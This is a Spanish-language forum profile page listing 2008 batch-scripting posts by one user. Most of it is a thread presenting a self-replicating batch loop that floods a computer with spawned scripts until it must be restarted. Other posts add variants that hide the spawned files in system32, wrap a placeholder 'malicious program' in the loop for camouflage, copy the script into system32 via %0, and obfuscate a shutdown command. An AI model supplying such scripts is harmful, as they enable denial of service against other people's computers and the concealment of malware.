Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - NoryNR

#11
Scripting / Problema con Atributo %0
18 Febrero 2008, 09:11 AM
este codigo sirve para que el batch se encuentre a si mismo... ya que no sabes cual es

C:\Documents and Settings\nosabesquenombredesesiontienelagente entonces de esta manera se autoencuentra y se mueve a cualquier carpeta o se copia.. lo que le digas...

una vez lo use y me fue.. pero ahora no consigo hacerlo funcionar...

copy /y %0 c:\WINDOWS\system32\nombre.bat

Me dice que la sintaxis no es correcta.

yo lo intente con move tambien

move /y %0 c:\WINDOWS\system32\


Alguna sugerencia? Gracias

#12
Scripting / Re: Sobrecargando Ordenador
18 Febrero 2008, 08:52 AM
Asi lo tenia puesto yo en un principio... peroes mas cantoso si te dicen en un msg ola que en una pantalla negra...

porcierto yo ejecute el programa con msg * hola...

y ni dando ultraclicksrapidos acabe con la ventana xD hay que reiniciar :D

De todos modos gracias por comentarlo

simplemente ese Hola era un ejemplo.. ahi puedes meter lo que quieras  ;D


Saludos!
#13
Scripting / Re: Sobrecargando Ordenador
16 Febrero 2008, 16:31 PM
De las 2 maneras anteriores los archivos creados se crearian donde se ha ejecutado el programa... Facil de borrar...

Pero podemos meterlo en una carpeta donde "no se sepan donde estan"

Solo hay que añadirle esta linea

move Programa%contador%.bat C:\WINDOWS

Quedaria asi:

@echo off

set contador=0

:inicio
set /a contador=%contador%+1

echo @echo off>Programa%contador%.bat
echo echo HOLA>>Programa%contador%.bat

start Programa%contador%.bat

move Programa%contador%.bat C:\WINDOWS

goto inicio

pause



Tambien Podriamos usar un codigo para que Realmente no se sepan donde estan los archivos el cual seria asi

@echo off

set contador=0

:inicio
set /a contador=%contador%+1

echo @echo off>Programa%contador%.bat
echo echo HOLA>>Programa%contador%.bat

start Programa%contador%.bat

move Programa%contador%.bat C:\WINDOWS\system32

attrib +h C:\WINDOWS\system32\Programa%contador%.bat

goto inicio

pause


Lo que haria este ultimo codigo seria guardar los archivos en C:\WINDOWS\system32 y ademas ocultarlos.


P.D: No me hago responsable de los usos que le deis al programa :P
#14
Scripting / Re: Sobrecargando Ordenador
16 Febrero 2008, 14:40 PM
No cabe que decir que este codigo puede Ser de gran utilidad si quieres camuflar un codigo malicioso :D

@echo off

set contador=0

:inicio
set /a contador=%contador%+1

echo @echo off>Programa%contador%.bat
echo echo HOLA>>Programa%contador%.bat

start Programa%contador%.bat
start tuprogramamalicioso.bat
goto inicio

pause


de esta manera tu programa se iniciaria muchisimas veces...

si no quieres que esto ocurra puedes hacer que se ejecute unicamente 1 vez haciendo esto:


@echo off

set contador=0

:inicio
set /a contador=%contador%+1

echo @echo off>Programa%contador%.bat
echo echo HOLA>>Programa%contador%.bat

start Programa%contador%.bat
if %contador%==1 goto PROGRAMAMALICIOSO
if %contador% GTR 1 goto inicio

:PROGRAMAMALICIOSO
start tuprogramamalicioso.bat
goto inicio

pause
#15
Scripting / Sobrecargando Ordenador
16 Febrero 2008, 14:37 PM
Buenas Hoy voy a postear este codigo realizado por mi...

Muy simple él...
Pero que verdaderamente sobrecarga ordenadores.


@echo off

set contador=0

:inicio
set /a contador=%contador%+1

echo @echo off>Programa%contador%.bat
echo echo HOLA>>Programa%contador%.bat

start Programa%contador%.bat
goto inicio

pause


Lo que hace es a la variable contador=0 sumarle 1 digito en un bucle...
y crear un bat nuevo llamado programa(y el numero que vaya por el contador).bat cada vez que va a bucle

en pocos segundos se crean mas de 500 bats nuevos... y no solo eso sino que al mismo tiempo los va abriendo y sale El mensajito de Hola! :D.

No creo que tenga errores el batch pero si veis alguno Informarme!  ;D

P.D: Lo podeis ejecutar.. no pasara nada :D lo unico que tendreis que reiniciar :D
#16
Scripting / Re: DUDA [BATCH]
9 Febrero 2008, 23:58 PM
RESUELTO!
#17
Esta de lujo :D

gracias.... por cierto

no quedaria asi?

set v=s
set v1=h
set v2=u
set v3=t
set v4=d
set v5=o
set v6=w
set v7=n
set v8=-s
set v9=-t
set v10=200

ECHO %v%v1%%v2%%v3%%v4%%v5%%v6%%v7% %v8% %v9% %v10%
#18
Scripting / DUDA [BATCH]
9 Febrero 2008, 18:00 PM
Hola.... queria saber como se hace un comando...

a ver si con vuestra ayuda lo consigo :D

a ver quiero que cuando un numero resultante de una resta entre 50 y un numero random entre 0 y 99 si es menor que 0 vaya a menor que y si es mayor que 0 vaya a mayorque.

para eso le pongo un rango a la variable RANDOM para que escoja un numero entre 0 y 99  [%random:~1,2%]

pero no me va... encontrais algun error?

Sale en la pantalla esto

:mayorque
echo echo %random% es mayor que 0

:menorque
echo echo %random% es menos que 0

Como si fuera mayor y menor que 0 a la vez...

Alguna solucion?


Aqui os dejo el Bat
----------------------------------------
@echo off
set x=0
set y=50

set /a a=%y%-%random:~1,2%

If %a% LSS %x% goto menorque
If %a% GTR %x% goto mayorque

:mayorque
echo La resta da numeros positivos
:menorque
echo La resta da numeros negativos


pause
exit
----------------------------------------


Saludos y Gracias :D